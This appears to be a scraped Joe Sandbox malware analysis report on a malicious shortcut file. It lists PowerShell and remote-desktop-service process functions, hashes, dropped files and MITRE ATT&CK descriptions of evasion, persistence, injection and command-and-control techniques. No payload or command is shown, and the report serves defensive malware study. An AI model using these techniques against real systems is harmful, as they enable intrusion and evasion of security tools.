Function 00007FFB4EE27040 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4025910417.00007FFB4EE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffb4ee20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d9c20de7ecba6fe94ff6b945393c20d30973167e878f944dd2d9fed3e12e08a
Instruction ID: a47b18e8381214722ac2136ec1f40aad6bdaca85734910f1499106312da136ec
Opcode Fuzzy Hash: 5d9c20de7ecba6fe94ff6b945393c20d30973167e878f944dd2d9fed3e12e08a
Instruction Fuzzy Hash: 07F030D3D1EBC20FE3CA1E685D215201F91BF9A65070900FBE0C85F5DF98549E0D8392

Analysis Process: myRdpService.exePID: 6808, Parent PID: 892COMMON

Non-executed Functions

Function 00007FF64051DB00 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF64051DB2C
GetCurrentThreadId.KERNEL32 ref: 00007FF64051DB3A
GetCurrentProcessId.KERNEL32 ref: 00007FF64051DB46
QueryPerformanceCounter.KERNEL32 ref: 00007FF64051DB56

Memory Dump Source

Source File: 0000002D.00000002.4692970324.00007FF640461000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF640460000, based on PE: true

Associated: 0000002D.00000002.4692907547.00007FF640460000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.4694671593.00007FF640966000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.4695263626.00007FF640B28000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.4695263626.00007FF640C6A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.4695263626.00007FF640C6C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.4696827371.00007FF640EC0000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.4696966969.00007FF640EC2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.4696966969.00007FF640ECC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.4696966969.00007FF640EDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.4696966969.00007FF640EE0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.4696966969.00007FF640EE3000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.4696966969.00007FF640EE5000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.4697771840.00007FF640EE8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_7ff640460000_myRdpService.jbxd

Yara matches

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: b66d8daab459609d726222c036090e22f93798fcae7550261880a99b86b28e2a
Instruction ID: 44a80928aceecb9b26c5bcc70238360ae7add6cf5af4f6b0f66847edf63a67dc
Opcode Fuzzy Hash: b66d8daab459609d726222c036090e22f93798fcae7550261880a99b86b28e2a
Instruction Fuzzy Hash: 70111F32B19F119AEB00EF60E8582B833A4FB59758F441A35EE6D86B64DF78D1958340

Analysis Process: powershell.exePID: 1548, Parent PID: 5280COMMON

Executed Functions

Function 00007FFB4EF10411 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.4502921108.00007FFB4EF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffb4ef10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c495cab0ffb9223ddc88bc95bc60774b181180bc7b80ddf098ab7254d538ac6
Instruction ID: 806b96b22cb2ae4525690dcbe4be319502f883e6257470ac29f905772ab44ca3
Opcode Fuzzy Hash: 1c495cab0ffb9223ddc88bc95bc60774b181180bc7b80ddf098ab7254d538ac6
Instruction Fuzzy Hash: D881E2A190DA9D5FE792EB7988546B5BBE1FF99304B0401BBE84CC7093DA28AC05C781

Function 00007FFB4EE434B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.4496068821.00007FFB4EE40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffb4ee40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e26e880e1d71fe7436f510caca523963cd19ce89c1addea80b81cc1ac8720924
Instruction ID: f64d5316352cab1886ba3a1bd1b6909b7fdb782d22166d3c8a271e6707caa7b5
Opcode Fuzzy Hash: e26e880e1d71fe7436f510caca523963cd19ce89c1addea80b81cc1ac8720924
Instruction Fuzzy Hash: 0701677115CB0D8FD744EF0CE451AB9B7E0FB95324F10056EE58AC3651DA36E892CB45

Analysis Process: powershell.exePID: 2684, Parent PID: 9108COMMON

Executed Functions

Function 00007FFB4EE333B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000036.00000002.4673215396.00007FFB4EE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4EE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_7ffb4ee30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36e879b52527cf9c0831b621c126732d1c6f159b4781d2086e37170df1838c7a
Instruction ID: 57323f798c01705fdd155eb11460d043c33a2f9aa928a9a9f41d1eed64f28d47
Opcode Fuzzy Hash: 36e879b52527cf9c0831b621c126732d1c6f159b4781d2086e37170df1838c7a
Instruction Fuzzy Hash: 1201A77110CB0D8FD744EF0CE451AB9B3E0FB85320F10052EE58AC3251DA32E882CB41

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Cj3OWJHzls.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{517C84A5-45D8-4E73-B513-C114569ADCCD}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{C16E52D2-4477-4605-B13E-0720F8960B26}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.0.cs

C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.cmdline

C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.dll

C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.out

Windows Analysis Report
Cj3OWJHzls.lnk

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre